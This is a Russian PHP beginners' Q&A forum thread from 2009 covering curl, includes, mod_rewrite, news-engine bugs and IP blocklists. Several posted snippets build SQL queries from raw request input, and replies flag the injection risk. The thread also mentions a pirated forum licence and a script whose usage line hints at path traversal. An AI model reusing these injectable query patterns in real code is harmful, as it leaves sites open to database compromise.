Просмотр полной версии : [php] Новичкам: задаем вопросы
Смотрим
Есть скрипт,который граббит прокси.Есть файл,с адресами сайтов,с проксями.Сайтов,ну пускай 100. На сервере,через курл,получение каждой страницы,затем выдерание проксей,идет долго.Оч долго яб сказал.Поэтому спрашиваю,если я буду получать теже страницы сокетами,или простым филе_гет,скорость улучшиться?
-Про многопоточность почитал.ЭТАПЯзддец.Воть....в опщем пока не буду суваца....
сокеты быстрее curl
сокеты быстрее curl
Никак нет !
http://habrahabr.ru/blogs/php/42158/
...Код, как Вы видите, более компактный получился, ну и cURL работает пошустрее сокетов....
Никак нет !
http://habrahabr.ru/blogs/php/42158/
а ты сам то проверял ?
brasco2k
04.01.2009, 01:39
На наносекунду?! - смешно. Речь идет о простоте написания кода. Что лучше знаешь, то и используй. Выше скорости соединения не скакнешь, а скорость работы кода(не включая скачку) будет незаметной.
я конечн не программер..но считаю что курл быстрее сокетов... а ваще быстрее multi_curl :D :p у мну кста вопрос
require() < что значит?
это чёто связано с include()..но что такое инклуд я знаю... подскажите=)
а ты сам то проверял ?
нет, не проверял. Ты этой статье не веришь?
Тебе надо,чтобы Иесус к тебе пришел и сказал,что сокеты медленнее?
DVD_RW php.net/require
Холивар не разводите, да и ровно этот же вопрос почти с теми же участниками возникал месяц назад
я конечн не программер..но считаю что курл быстрее сокетов... а ваще быстрее multi_curl :D :p у мну кста вопрос
require() < что значит?
это чёто связано с include()..но что такое инклуд я знаю... подскажите=)
http://forum.ishodniki.ru/index.php?topic=14812.0
Насколько я понимаю, они по разному обрабатывают ошибки (include выводит предупреждение и продолжает работу, с ошибкой при require работа сценария прекращается). Require в любом случает подключает файл, а include только при непосредственном выполнении команды. Отсюда вывод: require больше загружает сервер. Require включает и выполняеткод только 1 раз, а include столько, сколько нужно (код выполняется во внешнем файле, а при Require просто вставляется).
DVD_RW php.net/require
Холивар не разводите, да и ровно этот же вопрос почти с теми же участниками возникал месяц назад
пасиб :p
сокеты быстрее curl
сокеты быстрее, но не те которые в пхп
prescott
04.01.2009, 01:48
На наносекунду?! - смешно. Речь идет о простоте написания кода. Что лучше знаешь, то и используй. Выше скорости соединения не скакнешь, а скорость работы кода(не включая скачку) будет незаметной.
по простоте написания кода, проще юзать file_get_contents(), если конечно не требуется авторизаций, кукисов и т.д.
сокеты быстрее, но не те которые в пхп
Согласен, dei -всему голова =)
.:EnoT:.
04.01.2009, 08:19
по простоте написания кода, проще юзать file_get_contents(), если конечно не требуется авторизаций, кукисов и т.д.
а что мешает отправлять заголовки вместе с file_get_contents() ?
А насчёт курла я уже не раз говорил, что пихать его везде не стоит, да ещё и с нулевыми знаниями хотя бы основ банального http протокола.
А насчёт курла я уже не раз говорил, что пихать его везде не стоит.....
То есть у него есть плохие стороны? :confused:
Подскажите плиз такую весчь,вопшем у меня есть скрип-паук,он лазить по сайту и есле находит определенный текст,то выполняет определенное действие,и вот такой вопрос,вопше,я сдела что есле он находит там например слово "Жизнь" то он вставляет в страницу ето
<meta http-equiv="refresh" content="0; URL=life.php">
Вот только проблема в том,что чтоб таймер сработал нужно чтоб страница полностью загрузилась и т.д. т.п. а мне нужен моментальный переход,с выводом етой страницы на екран ( echo $f; ),кто что может посоветовать с етим?
echo $f;
flush();
ob_flush();
еммммм,я вопшет я просил так,чтобы место таймера он переходыл по странице,а тут вопше перехода я невижу....
Знаю что не в тему, но помогите разобраться в ModRewrite в Апатче он включен.
А когда в .htaccess прописываю
Options -Indexes
RewriteEngine On
RewriteRule ^([a-z]+)/([0-9]*)/([0-9]*)/([0-9]*)/$ /index.php?str=$1&serv=$2
Ничего не изменяется....В чём проблема?
Обычная строка запроса:
http://www.adenki.ru/index.php?str=pok&serv=lineageru4
А должна получится
http://www.adenki.ru/pok/lineageru4/
Вроде нормально заработало так:
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^/]*)$ index.php?str=$1&serv=$2
RewriteRule /([^/]*)/?$ index.php?str=$1&serv=$2
но пропали картинки на всём сайте
:confused:
еммммм,я вопшет я просил так,чтобы место таймера он переходыл по странице,а тут вопше перехода я невижу....
После вывода твоего мета-тега вставь flush; ob_flush;
А,понял,просто я просил чуть другое,что можно использовать более быстрое чем таймер,а не просто его использование даже с недогруженной страницей......
как сделать развилку в форме? поясню- нужно сделать анкету, она разбита на части, как сделать так, чтобы исходя из ответов пользователь попадал на нужную следующую часть анкеты?
ну, или как сделать так чтобы в зависимости от ответа на предыдущий вопрос следующий зи неактивного становился активным. или наоборот
Ет тебе скорее всего в тему javascript....и мож посмотреть исходный код vkontakte.ru при реге...
как в cURL принимать только HTTP заголовки, или загружать токо первые нескольео символов? надо что бы страница не загружалась.
-m0rgan-
04.01.2009, 20:28
Доброе время суток!
Вот появился у меня вопрос:
Кароче начал я писать движок...первые функции - это добавление,удаление и редактирование новостей...Карочь написал я код и давай тестить его...На локалхосте все работает прекрастно, новость добавляется в бд, удаляется и редактируется...
Заливаю я его на хостинг, изтеняю конфиг и тут наблюдаю облом, новости не добавляются(((
Конект с БД есть...
Тестил на нескольких хостингах.
В чем может быть причина???
Зарание спасибо!
причин может быть много,код в студию
Joker-jar
04.01.2009, 20:51
Сейчас нет возможности разбираться в твоем скрипте. Скажу лишь не по теме, что не мешало бы тебе пересмотреть вопрос безопасности твоего движка:
$index=$_GET['id'];
$query = "SELECT * FROM news WHERE `id` = '".$index."'"; $result = mysql_query($query);
Попробуй в запросах используй кавычки
SELECT * FROM `news` order by id desc LIMIT 0,100000
-m0rgan-
04.01.2009, 22:11
Всем кто отписался спасибо!
Код я пожалуй удалю...
SVAROG curl_setopt($ch,CURLOPT_NOBODY,1);
curl_setopt($ch,CURLOPT_HEADER,1);
-m0rgan- При отладке хорошо бы проверять где именно ошибка, например:
$link = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(DB_NAME) or die('Нельзя выбрать базу ('.mysql_error().')');
$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error());
Тогда вопросы будут отпадать сами собой
-m0rgan-
05.01.2009, 00:59
SVAROG curl_setopt($ch,CURLOPT_NOBODY,1);
curl_setopt($ch,CURLOPT_HEADER,1);
-m0rgan- При отладке хорошо бы проверять где именно ошибка, например:
$link = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(DB_NAME) or die('Нельзя выбрать базу ('.mysql_error().')');
$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error());
Тогда вопросы будут отпадать сами собой
У меня конфиг был такой:
<?
Error_Reporting(E_ALL & ~E_NOTICE);
Error_Reporting (ERROR|WARNING);
@mysql_connect("host", "login", "pass") or die("нет коннекта с мускулом...");
@mysql_select_db("database") or die("Нет коннекта с БД...");
mysql_query('set character_set_results=cp1251') or die(mysql_error());
$date=date("d.m.Y");
$ip=$_SERVER['REMOTE_ADDR'];
?>
Romantic1989
05.01.2009, 06:42
Доброго Вам время суток! Где можно найти документацию, желательно на руском, по работе с Сокетами?? Зарание спасибо :)
preda1or
05.01.2009, 06:52
Romantic1989
http://forum.creastar.ru/index.php?topic=57.0
Romantic1989
http://ru2.php.net/manual/ru/function.fsockopen.php
не совсем на русском, но примеров хороших много ;)
Подскажите плиз такую весчь,вопшем у меня есть скрип-паук,он лазить по сайту и есле находит определенный текст,то выполняет определенное действие,и вот такой вопрос,вопше,я сдела что есле он находит там например слово "Жизнь" то он вставляет в страницу ето
<meta http-equiv="refresh" content="0; URL=life.php">
Вот только проблема в том,что чтоб таймер сработал нужно чтоб страница полностью загрузилась и т.д. т.п. а мне нужен моментальный переход,с выводом етой страницы на екран ( echo $f; ),кто что может посоветовать с етим?
Так никто ничё и не подскажет?((
brasco2k
05.01.2009, 11:50
<?php
header("Location: http://google.com");
die();
?>
или
<script>document.location.href = "http://google.com";</script>
имеется
<form action="dropnews.php" method="POST" >
<?php
$result=mysql_query("SELECT title,id FROM news");
while ($myrow=mysql_fetch_array($result))
{ echo "<table width='200' border='0' align='center'>
<tr><td width='12'><input name='id' type='checkbox' value='$myrow[id]'></td><td>$myrow[title]</td></tr></table>";
}
?>
<input type="submit" name="submit" value="Удалить">
</form>
dropnews.php
<?php
if(isset($_POST['id'])) {$id=$_POST['id'];}
if(isset($id))
{
$result=mysql_query("DELETE FROM news WHERE id='$id'");
if($result == 'true')
{echo "<p>Новость удалена :-)</p><br><a href=\"delnews.php\">Назад</a>";}
else
{echo "<p>Новость не удалена :-(</p><br><a href=\"delnews.php\">Назад</a>";}
}
else
{echo "<p>Ошибка!</p><br><a href=\"delnews.php\">Назад</a>"; }
?>
как можно осуществить удаление сразу нескольких новостей (чтобы их можно было выбрать checkbox'ом) :confused:
заранее благодарен :rolleyes:
#Wolf# Почитайте на досуге статьи про анти-SQLinj
<pre><form METHOD="POST">
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="1"> Процессоры
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="2" CHECKED> Видеоадаптеры
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="3"> Сканеры
<INPUT TYPE=checkbox NAME="Comp[]" VALUE="4" CHECKED> Модемы
<INPUT TYPE=submit VALUE="Отправить" name="asd">
</form>
<?
if (isset($_POST['asd']))
{
$id=$_POST['Comp'];
if (is_array($id))
{array_walk($id,'intval'); $id=implode("' or id='",$id);}
else $id=intval($id); // не забываем об анти SQL
echo "DELETE FROM news WHERE id='".$id."'";
if (mysql_query("DELETE FROM news WHERE id='".$id."'"))
{
echo "<p>Новость удалена :-)</p><br><a href=\"delnews.php\">Назад</a>";
}
else
{
echo "<p>Новость не удалена :-(</p><br><a href=\"delnews.php\">Назад</a>";
}
}
?>
if ($result=='true') - эт конеш сильно
.:EnoT:.
05.01.2009, 16:50
// не забываем об анти SQL
не менее сильно)
я б лучше вот так сделал:
<form action="" method="post">
<input type="checkbox" name="ids[]" value="1" />
<input type="checkbox" name="ids[]" value="2" />
<input type="checkbox" name="ids[]" value="3" />
<input type="checkbox" name="ids[]" value="4" />
<input type="submit" value="Удалить выбранные" />
</form>
<?php
$ids = isset($_POST['ids']) && is_array($_POST['ids']) ? array_map('intval', $_POST['ids']) : '';
if($ids){
$sql = mysql_query('DELETE FROM `table`
WHERE `id` = IN ('.join(',', $ids).') ');
echo $sql ? 'Успешно =)' : 'Неудачно =(';
}
?>
-m0rgan-
06.01.2009, 14:51
Доброе время суток!
Подскажите , что означает эта ошибка:
Ошибка запроса: Query was empty
кусок кода:
if($_GET['news']==add)
{
$query = "SELECT * FROM news"; $empty = mysql_query($query);
$n = mysql_num_rows($empty);
$num=$n+1;
echo'<form method="POST" action="index.php?add=news">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">
Название: <input type="text" name="name" size="40" value="'.$name.'"></td></tr><tr><td>Первый текст: (выводится на главной странице)<br><br>
<textarea rows="5" name="text" cols="70">'.$text.'</textarea><br><br>
Второй текст: (выводится на странице подробнее о новости)<br><br>
<textarea rows="10" name="text2" cols="70">'.$text2.'</textarea></td></tr>
<tr><td bgcolor="#324316"><center>
<input type=submit value="OK"></center></td></tr></table></form>';
}
if($_GET['add']==news)
{
$form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip')";
mysql_query($form);
if($form){
echo"<font color=red>Новость успешно добавлена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
Зарание спасибо!
.:EnoT:.
06.01.2009, 15:13
Ошибка запроса: Query was empty
По русски: Запрос был пуст)
у тебя register_globals = ON ?
Или где получение данных из массива POST?
а защита от sql инфекций?)
if($_GET['news']==add)
add ж у тебя не константа (как и news), кавычки какбэ надо
$form = "....";
mysql_query($form);
if($form){
Какбэ проверять надо результат запроса, а не строку запроса.
$form = "....";
$a = mysql_query($form);
if($a){
я хз под чем ты писал такой скрипт, но явно новый год прошёл нормально))
Pashkela
06.01.2009, 15:23
Значит в таблицу news нет записей. Должна быть хоть одна запись, чтобы запрос был успешным.
Дальше
$form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip')";
Так неправильно, правильно так:
$form = "INSERT INTO news (`num`, `name`, `text`,`text2`,`ip` ) VALUES ('$num', '$name', '$text', '$text2', '$ip')";
т.е. надо указать поля, куда вставляешь данные, а не так вот просто.
А если у тебя поле num просто id для какого-то текста, который просто увеличивается на единицу, так проще и сделать сразу такое поле с автоинкриментом, оно само будет автоматически увеличиваться при появлении новой записи, т.е. сначала сделай такую таблицу (один раз):
$query = "CREATE TABLE news (
num int(10) NOT NULL auto_increment,
name varchar(200) default NULL,
text varchar(200) default NULL,
text2 varchar(200) default NULL,
ip varchar(200) default NULL,
PRIMARY KEY (num)
);";
$end=@mysql_query($query);
И всё, забудь про num, обрабатывай только данные
-m0rgan-
06.01.2009, 16:12
Поясню ситуацию:
Начал я писать движок...
Сначала все норм, потом перестали добавлятся новости(((
Потом мне посоветовали поставить другой конфиг, вот код:
<?
$link = mysql_connect(localhost, test, test) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(test) or die('Нельзя выбрать базу ('.mysql_error().')');
$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error());
?>
Когда я прохожу по адресу localhost/admin
появляется ошибка:
Ошибка запроса: Query was empty
полный код:
<?
$name=$_POST['name'];
$text=$_POST['text'];
$text2=$_POST['text2'];
if($_GET['page']==news)
{
print"<center><a href=?news=add>Добавить новость</a></center><br><br>";
$query = "SELECT * FROM news order by id desc LIMIT 0,100000"; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">'.$row['name'].'</td></tr><tr><td>'.$row['text'].'<br>'.$row['text2'].'</td></tr>
<tr><td bgcolor="#324316"><a href="?news=delete&id='.$row['id'].'">Удалить</a>
<a href="?edit=news&id='.$row['id'].'">Редактировать</a></td></tr>
</table><br>';
endwhile;
}
if($_GET['edit']==news)
{
$index=$_GET['id'];
$query = "SELECT * FROM news WHERE `id` = '".$index."'"; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'
<form method="POST" action="index.php?news=edit&id='.$row['id'].'">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">
Название новости: <input type="text" name="name" size="40" value="'.$row['name'].'"></td></tr><tr><td>Первый текст: (выводится на главной странице)<br><br>
<textarea rows="5" name="text" cols="70">'.$row['text'].'</textarea><br><br>
Второй текст: (выводится на странице подробнее о новости)<br><br>
<textarea rows="10" name="text2" cols="70">'.$row['text2'].'</textarea></td></tr>
<tr><td bgcolor="#324316"><center>
<input type=submit value="OK"></center></td></tr></table></form>';
endwhile;
}
if($_GET['news']==edit)
{
$index=$_GET['id'];
$edit = "UPDATE `news` SET `name` = '$name', `text` = '$text', `text2` = '$text2' WHERE `id` = ".$index;
mysql_query($edit);
if($edit){
echo"<font color=red>Новость успешно изменена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
if($_GET['news']==delete)
{
$da=$_GET['id'];
$del = "DELETE FROM `news` WHERE `id` = '".$da."'";
mysql_query($del);
if($del){
echo"<font color=red>Новость успешно удалена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
if($_GET['news']==add)
{
$query = "SELECT * FROM news"; $result = mysql_query($query);
$n = mysql_num_rows($result);
$num=$n+1;
echo'<form method="POST" action="index.php?add=news">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #324316"><tr><td bgcolor="#324316">
Название: <input type="text" name="name" size="40" value="'.$name.'"></td></tr><tr><td>Первый текст: (выводится на главной странице)<br><br>
<textarea rows="5" name="text" cols="70">'.$text.'</textarea><br><br>
Второй текст: (выводится на странице подробнее о новости)<br><br>
<textarea rows="10" name="text2" cols="70">'.$text2.'</textarea></td></tr>
<tr><td bgcolor="#324316"><center>
<input type=submit value="OK"></center></td></tr></table></form>';
}
if($_GET['add']==news)
{
$form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip');";
mysql_query($form);
if($form){
echo"<font color=red>Новость успешно добавлена!</font><meta http-equiv='refresh' content='2;URL=index.php?page=news'>";
}
}
?>
Создаю таблицу невс с колонками:
CREATE TABLE `news` (
`id` int(20) unsigned NOT NULL auto_increment,
`name` varchar(20) NOT NULL default '',
`text` varchar(20) NOT NULL default '',
`text2` varchar(20) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
Вроде все...
Хочется услышать все замечания и предложения по решению проблемы, ну и заодно по безопасности...
Зарание спасибо!
Pashkela
06.01.2009, 16:19
Проблема скорее всего здесь:
$index=$_GET['id'];
и, соотвественно, дальше здесь:
$query = "SELECT * FROM news WHERE `id` = '".$index."'"; $result = mysql_query($query);
попробуй подставить вместо $index просто реальную цифру той новости, которая реально существует
Ну и можно посмотреть значение $index (кладется туда вообще что-нибудь или нет):
$index=$_GET['id'];
echo $index;
-m0rgan- Либо ты нас непонятно зачем обманываешь, либо крайне сильно заблуждаешься... Во-первых, это НЕ весь листинг, ты либо этот файл где-то инклудишь, либо случайно удалил инклуд конфига из начала поста
<?
$link = mysql_connect(localhost, test, test) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(test) or die('Нельзя выбрать базу ('.mysql_error().')');
>>>>>>>>>>>$result = mysql_query($query) or die ('Ошибка запроса: '.mysql_error()); <<<<<<<<<<<<<<<<<<
?>
Смотрим на выделенную строчку. Тебе что сказали? Для всех mysql_query сделать такую конструкцию, а не бездумно копировать ее зачем-то в конфиг оО. Естественно, что $query - пустая строка в конфиге, собственно отсюда и ошибка.
Во-вторых if($_GET['edit']==news) - тебе парой постов выше сказали, что ты сравниваешь НЕ со строкой, а с константой, то есть эта проверка эквивалентна if($_GET['edit']==0)
В третьих: $form = "INSERT INTO news VALUES ('$num', '$name', '$text', '$text2', '$ip');";
mysql_query($form);
if($form) $form - это заданная строка и ты проверяешь задал ли ты ее, а не выполнил ли ты запрос с ней. И так же в других местах кода
В-четвертых, Читать прикрепленную в этом разделе тему про анти-SQLinj
Во-вторых if($_GET['edit']==news) - тебе парой постов выше сказали, что ты сравниваешь НЕ со строкой, а с константой, то есть эта проверка эквивалентна if($_GET['edit']==0)
Имя неопределенной константы преобразуется к строковому типу
<?
echo news;
?>
А так все остальное ты верно сказал.
-m0rgan-
06.01.2009, 17:11
Во)
Вснм спасибо!
Это мну очень сильно проглючило(((
P.S.:Нет, я не обнаную,это весь пхп код, а конфиг я вставлял в начале хтмл кода)
всем гуру раздела здрасти :-)
народ кто как изучал php?
То есть нужен учебничек онлайн (то есть прям на сайте)
то есть где там начинаеться все с самого простого (там переменные всякие и т.д.)(+с примерами чтобы было) и заканчивая там чем нибуть сложнейшим на php (к примеру простой двиг сайта где включаеться все что описывалось в учебнике (где это все эти туториалы))
офф сайты не катят
(html знаю)
diznt https://forum.antichat.ru/thread89681.html
От себя - знание любого языка + постепенное изучение операторов PHP
.:EnoT:.
06.01.2009, 18:24
Я бы посоветовал книгу: Максим Кузнецов - PHP на примерах.
Имя неопределенной константы преобразуется к строковому типу
это так, но всё равно ты получишь ошибку о неопределённой константе, хотя текст и выведется.
В любом случае так делать не надо)
Всем добрый вечер еще раз
и так начал я читать книгу так вот там описываються про "Логические операторы"
я просто не понимаю что значит "логические" операторы, нет я так знаю что такое операторы но не понимаю совсем слова "логические"
http://ru.wikipedia.org/wiki/Алгебра_логики
Зачем они нужны эти логическии операторы? И для чего они могут быть полезны в написании кода?
И желательно с примером!
Joker-jar
06.01.2009, 20:27
Из логических операторов составляются логические выражения. Логические выражения - это выражения, которые в ответе дают "да" или "нет" (истина / ложь)
Это я понял но мне нужен ответ на пост 7602
if($medved && $kreved || $preved) {...}
Pashkela
06.01.2009, 20:35
Зачем они нужны эти логическии операторы? И для чего они могут быть полезны в написании кода?
И желательно с примером!
$hand = fopen("log.txt", "a+");
if($hand)
{
fwrite($hand,"1");
}
fclose($hand);
Производим открытие файла и дальше запись в него символа "1", например.
В данном случае 100% вероятность успешной записи в файл, т.к. производится логическая проверка самого факта открытия файлы на запись с добавлением инфо в конец:
if($hand)
т.к. файл мог быть открыт ДО этого, некорректно закрыт ПОСЛЕ, это может делаться в цикле и т.д. и т.д. и т.д. - т.е. в любом случае не будет ОШИБКИ при выполнении скрипта, т.к. производиться ПРОВЕРКА на простейшую операцию - ПРОВЕРКА НА ОТКРЫТИЕ ФАЙЛА НА ЗАПИСЬ в него информации. Кстати, так делать надо всегда, даже если простейшая операция, без циклов и многократно повторяющегося обращения к файлу - т.к. это логично, сначала УБЕДИСЬ, потом ЗАПИСЫВАЙ
spamoney
06.01.2009, 20:50
Всем добрый день, такой вопросик:
возможно ли, средствами php узнать включена ли у пользователя поддержка javascript?
.:EnoT:.
06.01.2009, 20:52
Всем добрый день, такой вопросик:
возможно ли, средствами php узнать включена ли у пользователя поддержка javascript?
Нельзя, можно самими жабоскриптом узнать включено или выключено)
Чем отличается оператор "require" от "include" ???
.:EnoT:.
06.01.2009, 21:53
При неудачном включении файла с include это пропускается и код выполняется далее, а с require выполнение кода прекращается
Как можно заменить <?php ?> на чтонибудь другое??? Или хотябы <>! Возможно?
Pashkela
06.01.2009, 22:39
<?
код
?>
geforce, можно использовать <? ?> и <% %> (директивы php.ini short_open_tag и asp_tags соответственно)
geforce, можно использовать <? ?> и <% %> (директивы php.ini short_open_tag и asp_tags соответственно)
А Скобачки <> можно заменить как нибудь???
Тебе же уже написали,пробуй изменить тут на сервере,в дире с ПыхЫпЫ,ищи файл: php.ini и в нем строки: short_open_tag и asp_tags , в них и меняй значение на свое,помему так.
1. <?php echo("если вы хотите работать с документами XHTML или XML, делайте так\n"); ?>
2. <? echo ("это простейшая инструкция обработки SGML\n"); ?>
<?= выражение ?> Это синоним для "<? echo выражение ?>"
3. <script language="php">
echo ("некоторые редакторы (например, FrontPage) не
любят инструкции обработки");
</script>
4. <% echo ("Вы можете по выбору использовать теги в стиле ASP"); %>
<%= $variable; # Это синоним для "<% echo . . ." %>
Скажи мне нахуя?!
на одной странице есть коменты в них подерживаючся стандартные теги а пхп код нет когда пишу <? ?> Получаю ? ? Для этого
brasco2k
06.01.2009, 23:58
на одной странице есть коменты в них подерживаючся стандартные теги а пхп код нет когда пишу <? ?> Получаю ? ? Для этого
Лолек, php не интерпритирует текст полученный из бд/файла, если в скрипте нет уазание на его исполнения. А HTML теги отображает браузер =\\\\\\\\\
Nightmarе
07.01.2009, 03:27
Как сделать чтобы при обращении к скрипту он проверял IP адрес со списком из файла logs.txt, а в этом файле айпишники:
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
То есть на одну строку один IP, в этой теме было несколько способов реализации раньше но ни один не пашет, у кого есть точный способ приведите пример реализации.
Pashkela
07.01.2009, 03:29
Как понять проверял? Что конкретно надо сделать в цикле, выдрав построчно каждый IP?
Nightmarе
07.01.2009, 03:38
Нужно сделать проверку есть ли в списке logs.txt айпишник из "$_SERVER['REMOTE_ADDR']"
Pashkela
07.01.2009, 03:42
<?php
$ipArray = array_map("trim", file("logs.txt"));
if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) )
{
echo "есть";
}
else
{
echo "нет";
}
?>
А можно както подругому это сделать? Я про пост выше.Просто помню,ктото другой способ предлогал,мне в нем чтото понравилось.Там сравнение шло помоему,тоесть брался файл,из него все пихалось в фореач,и сравнивалось с ремоте_адр.
Древняя защита от Ддос :D
Pashkela
07.01.2009, 03:57
Да миллион способов.
ЗЫЖ Тут кстати тоже сравнение, только чуть шустрее, чем фореач, и тоже каждый ip сравнивается
Pashkelaтут ни чуть шустрее а намного шустрее ! =)
Собственно говоря,есть слово,например:
$text = "Georgiy";
Вопрос,нужно чтобы какойто функцией я мог получить на выходы,все варианты вот такого формата:
[php]
$text[a][1] = aeorgiy;
$text[a][2] = Gaorgiy;
...
$text[b][3] = Gabrgiy;
[php]
Чтото вроде массива.Ну кто поможет,мне чтото в голову не пришло ничего подобного.. =)
$text[b][$i] = "G".$bukva."brgiy";
может как то так ?
m0Hze
<?
$text = "Georgiy";
$array = array();
for($i=ord('a'); $i<=ord('z'); $i++)
for($j=0; $j<strlen($text); $j++)
{
$tmp = $text;
$tmp[$j] = chr($i);
$array[chr($i)][] = $tmp;
}
print_r($array);
?>
optimazer
07.01.2009, 13:07
2mOHze
я просто что не понял
ты хочешь чтоб сначала буква A заменяла все по очереди, потом B и т.д.
или тут какая-то другая закономерность
если первая то:
<?php
function change_symbol ( $word )
{
$word_prototype = $word;
$abc = array("a","b","c","d","e", "f","g","h","i","j", "k","l","m","n","o", "p","q","r","s","t", "u","v","w","x","y","z");
$output_words = array();
for ($j = 0; $j < sizeof($abc); $j++) {
for ($i = 0; $i < strlen($word); $i++)
$word_prototype[$i] = $abc[$j];
$output_words[$abc[$j]][$i] = $word_prototype;
$word_prototype = $word;
}
}
return $output_words;
?>
m0Hze А зачем массив? function bukv($inword,$bukva,$pos)
{
if ($pos>strlen($inword) || $pos<1 || !is_string($bukva)) return $inword;
else
{
$inword[$pos-1]=$bukva;
return $inword;
}
}
echo bukv('abcdefg','z',1);
Вот писец,застрял на таком маленьком скрипте :)
$file = "black_list.txt";
$blockip = file($file);
foreach($blockip as $text){
if($_SERVER['REMOTE_ADDR'] == $text){
echo "Blocked!";
}else{
echo "Проходи дарагой...";
}
}
?>
Подскажите.
Есть нуленный форум IPB, в ближаййшее время нужно преобрести лицензию. Какие файлы нужно будет заменить? Полная переустановка не вариант, в форум внесено очень много модификаций.
Кто сталкивался с таким, как быть?
ReD Сделать апгрейд до последней версии
m0Hze $text надо обрабатывать trim и вместо echo 'blocked' - die('Blocked'); А вообще - использовать файлы - моветон
А вообще - использовать файлы - моветон
Кто тебе такое сказал?
.:EnoT:.
08.01.2009, 00:04
Gifts
угу, для трёх строк текста буим всегда юзать БД.
add:
m0Hze, кстате, а не легче ли использовать строковые функции для поиска IP в файле, чем юзать циклы и т.д.
Ну или регулярки, если там по маске ip-ы
как передать инфо пхп-скрипту следющим способом, без всяких модреврайтов итп, чисто средствами пхп.
вот так->
http://ololo.ru/script.php?эта-инфа-передается
ntldr $_SERVER['QUERY_STRING']
Есть код...
<?php
$q = "Бла бла бла";
echo ("<input type = text value = $q>");
?>
В таком случае в поле input будет только "Бла".
Обошел так :
<?php
$q = "Бла бла бла";
?><input type = text value = "<? echo ($qst); ?>"><?
?>
Можно ли это обойти инным, менее геморным методом?
*Кол-во полей input зараннее не известно.
можно использовать одинарные кавычки
<?php
$q = "Бла бла бла";
echo ("<input type = text value = '$q'>");
?>
можно использовать одинарные кавычки
<?php
$q = "Бла бла бла";
echo ("<input type = text value = '$q'>");
?>
Я чтото пропустил? PHP начал воспринимать переменные в одинарных кавычках?оО
<?php
$q = "Бла бла бла";
echo ("<input type = text value = ''.$q.''>");
?>
<?php
$q = "Бла бла бла";
echo ("<input type = text value = \"$q\">");
?>
Тоже кульна =)
Я чтото пропустил? PHP начал воспринимать переменные в одинарных кавычках?оО
<?php
$q = "Бла бла бла";
echo ("<input type = text value = ''.$q.''>");
?>
<?php
$q = "Бла бла бла";
echo ("<input type = text value = \"$q\">");
?>
Тоже кульна =)
че это за бред?)
Почему мало кто знает про php heredoc-синтаксис?
print <<<HERE
<input type = text value = "$q">
<input type = text value = "$qqq">
HERE;
Почему мало кто знает про php heredoc-синтаксис?
print <<<HERE
<input type = text value = "$q">
<input type = text value = "$qqq">
HERE;
хз почему, но сразу не полюбил этоот хередок. Конечно, это правильно...я про твой хередок =)
Почему мало кто знает про php heredoc-синтаксис?
print <<<HERE
<input type = text value = "$q">
<input type = text value = "$qqq">
HERE;
Потому что он в разы медленнее echo
как сделать неограниченный видеобуфер?
preda1or
08.01.2009, 03:13
как сделать видео буфер неограниченный ?
ты разделом не ошибся?подробнее пожалуйста
Ах да.. не написал где... в PERL... а то прога закрывается при ограничении буфера... вот хочу сделать неограниченный.. только вот незнаю как...
помогите с синтаксисом запуска php файла
в самом файле test.php такие строки
$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];
if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.com /folder\n";
echo " php {$argv[0]} example.com /folder../../\n";
exit;
пробую запускать так:
www.moysait.com/test.php?host.com&/folder
и так
www.moysait.com/test.php host.com /folder
все одно не стартует как надо.
Где я ошибся?
помогите с синтаксисом запуска php файла
в самом файле test.php такие строки
$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];
if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.com /folder\n";
echo " php {$argv[0]} example.com /folder../../\n";
exit;
пробую запускать так:
www.moysait.com/test.php?host.com&/folder
и так
www.moysait.com/test.php host.com /folder
все одно не стартует как надо.
Где я ошибся?
Можно
$host = $_GET['host']
$path =$_GET['path']
$folder = $_GET['folder'];
if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.com /folder\n";
echo " php {$argv[0]} example.com /folder../../\n";
exit;
пробую запускать так:
www.moysait.com/test.php?host=твойхост&folder=папка&path=путь
Потому что он в разы медленнее echo
зато удобней)просто с ним проблем много,капризный синтаксис
chlp, спасибо, так действительно идет, но все таки интересует что можно сделать без модификации файла?
Если для
www.moysait.com/test.php host.com / folder
list($none,$host,$path,$folder)=explode('%20',$_SE RVER['QUERY_STRING']);
chlp, спасибо, так действительно идет, но все таки интересует что можно сделать без модификации файла?
